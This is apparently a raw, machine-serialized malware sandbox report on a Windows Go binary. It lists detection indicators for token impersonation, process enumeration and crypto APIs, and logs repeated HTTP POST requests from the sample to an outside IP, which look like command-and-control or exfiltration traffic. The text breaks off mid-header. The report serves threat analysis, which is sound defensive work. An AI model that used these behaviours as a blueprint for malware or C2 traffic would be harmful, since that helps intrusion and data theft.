"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin")3c:Tba2,Heuristic match: "*abi.name" Heuristic match: "*godebugs.info" Pattern match: "https://go.dev/issue/66821" Heuristic match: "n\.hk" Heuristic match: "n$.ls" Heuristic match: "tl<.cf" Pattern match: "-6vuh1a8lnajtxlxhueeiztbpa4g6qgoogle.com/921787138636831296367379999883031259553aajma5vktz1y3rj_0omiatyjvnfu7lbria7jf8ahqliq_zc7ovvdkmbs9d4google.com/9217302163315231295763379110681431259553__secure-bucketcjobgoogle.com/921730316331523129576337999988303125" Pattern match: "-bucketcjobgoogle.com/9217303163315231295763379999883031259553__secure-strpanmzwa25qx8xjvbsfjcaaqjsonzstr1svbry0eh-iq9oszeu0dmzncj2jcjz24hgb6vxjhfy9xvr__ck7niu65fck3ignlw0guqbgoogle.com/1025253245401631259554383530446931259553" Pattern match: "-6vuh1a8lnajtxlxhueeiztbpa4g6qgoogle.com/921787138636831296367379999883031259553aajma5vktz1y3rj_0omiatyjvnfu7lbria7jf8ahqliq_zc7ovvdkmbs9d4google.com/9217302163315231295763379110681431259553" Pattern match: "-xmdrvtofjni1g4s0a1bjdnzwbrfx1yyavjdqv4htrngoogle.com/1025249245401631259554379110681431259553aajma5vktz1y3rj_0omiatyjvnfu7lbria7jf8ahqliq_zc7ovvdkmbs9d4google.com/9217302163315231295763379110681431259553" Pattern match: "consentwp.26af1egoogle.com/2147484672313833881632108254166171491830653534__secure-strpanmzwa1dyaxthsfckmjmayrjxspdnj6iqgbes_2zkrst3jns-0hhmqi_w-xmdrvtofjni1g4s0a1bjdnzwbrfx1yyavjdqv4htrngoogle.com/1025249245401631259554379110681431259553" Pattern match: "-xmdrvtofjni1g4s0a1bjdnzwbrfx1yyavjdqv4htrngoogle.com/1025249245401631259554379110681431259553" Heuristic match: "internal/abi.name.name" Heuristic match: "type:.eq.internal/godebugs.info" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.(*polldesc).info" Heuristic match: "runtime.srcfunc.name" Pattern match: "eq.sync/atomic.bool" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.uint64" Heuristic match: "sync.(*once).do" Pattern match: "eq.sync/atomic.pointer[sync.poolchainelt" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface" Pattern match: "eq.sync/atomic.pointer[go.shape.struct" Heuristic match: "internal/reflectlite.rtype.name" Heuristic match: "internal/reflectlite.(*rtype).name" Heuristic match: "errors.is" Heuristic match: "syscall.errno.is" Heuristic match: "syscall.(*errno).is" Pattern match: "eq.sync/atomic.pointer[internal/bisect.dedup" Heuristic match: "internal/godebug.(*setting).name" Pattern match: "eq.sync/atomic.pointer[internal/godebug.value" Pattern match: "eq.io/fs.patherror" Heuristic match: "os.(*file).name" Pattern match: "eq.sync/atomic.pointer[os.dirinfo" Heuristic match: "reflect.flag.ro" Heuristic match: "internal/abi.(*functype).in" Heuristic match: "reflect.value.int" Heuristic match: "reflect.(*rtype).name"3d:T41b,file/memory contains long string with (Indicator: "GetUserName"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "NtQueryInformationToken" (Indicator: "NtQueryInformationToken"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp")3e:Td7d,Found string "chacha8" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "*aes.CTR" (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "*aes.Block" (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "*aes.block" (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "encoding/base64" (Indicator: "base64"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "*base64.Encoding" (Indicator: "base64"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "*aes.KeySizeError" (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "*aes.blockExpanded" (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "crypto/internal/fips140/aes" (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "3des"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "aeshashbody" (Indicator: "aes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "encoding/base64.init" (Indicator: "base64"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "encoding/base64.NewEncoding" (Indicator: "base64"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found string "encoding/base64.Encoding.WithPadding" (Indicator: "base64"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin")3f:T797,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "Process32Next"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "Module32Next"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "Process32First"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "Module32First"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp")40:T76e,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp")41:T794,file/memory contains long string with (Indicator: "CopySid"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "IsValidSid"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetLengthSid"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "RevertToSelf"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "DuplicateToken"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin")42:T4c1,"LoadLibraryExA@KERNEL32.DLL" in "rundll32.exe" "Process32NextW@KERNEL32.DLL" in "rundll32.exe" "CreateDirectoryW@KERNEL32.DLL" in "rundll32.exe" "OpenMutexA@KERNEL32.DLL" in "rundll32.exe" "LoadLibraryW@KERNEL32.DLL" in "rundll32.exe" "GetProcAddress@KERNEL32.DLL" in "rundll32.exe" "CreateProcessW@KERNEL32.DLL" in "rundll32.exe" "OpenMutexW@KERNEL32.DLL" in "rundll32.exe" "FindFirstFileA@KERNEL32.DLL" in "rundll32.exe" "GetLogicalDriveStringsW@KERNEL32.DLL" in "rundll32.exe" "FindFirstFileW@KERNEL32.DLL" in "rundll32.exe" "FindNextFileW@KERNEL32.DLL" in "rundll32.exe" "LoadResource@KERNEL32.DLL" in "rundll32.exe" "CopyFileA@KERNEL32.DLL" in "rundll32.exe" "FindResourceW@KERNEL32.DLL" in "rundll32.exe" "send@WS2_32.DLL" in "rundll32.exe" "FindNextFileA@KERNEL32.DLL" in "rundll32.exe" "RemoveDirectoryW@KERNEL32.DLL" in "rundll32.exe" "GetLogicalDriveStringsA@KERNEL32.DLL" in "rundll32.exe" "WinExec@KERNEL32.DLL" in "rundll32.exe" "CreateProcessA@KERNEL32.DLL" in "rundll32.exe" "CreateToolhelp32Snapshot@KERNEL32.DLL" in "rundll32.exe" "Process32FirstW@KERNEL32.DLL" in "rundll32.exe" "GetNativeSystemInfo@KERNEL32.DLL" in "rundll32.exe" "CopyFileW@KERNEL32.DLL" in "rundll32.exe"43:T9f4,"rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3746942522 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3746968632 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3747734950 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3747743131 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3748468523 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3748957972 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3750181510 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3750190045 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3750476203 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3750485543 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3750532497 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3750539349 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3750589967 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3750596391 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3759306251 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00005492-00000C15-3759312676 [PID: 5492] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3746959430 [PID: 4656] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3746978014 [PID: 4656] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3747770336 [PID: 4656] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3747778051 [PID: 4656] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3748436328 [PID: 4656] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3748529970 [PID: 4656] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3749619521 [PID: 4656] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3749798644 [PID: 4656] "rundll32.exe" queried SystemProcessInformation at 00000000-00004656-00000C15-3750352445 [PID: 4656]44:Tc51a,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: 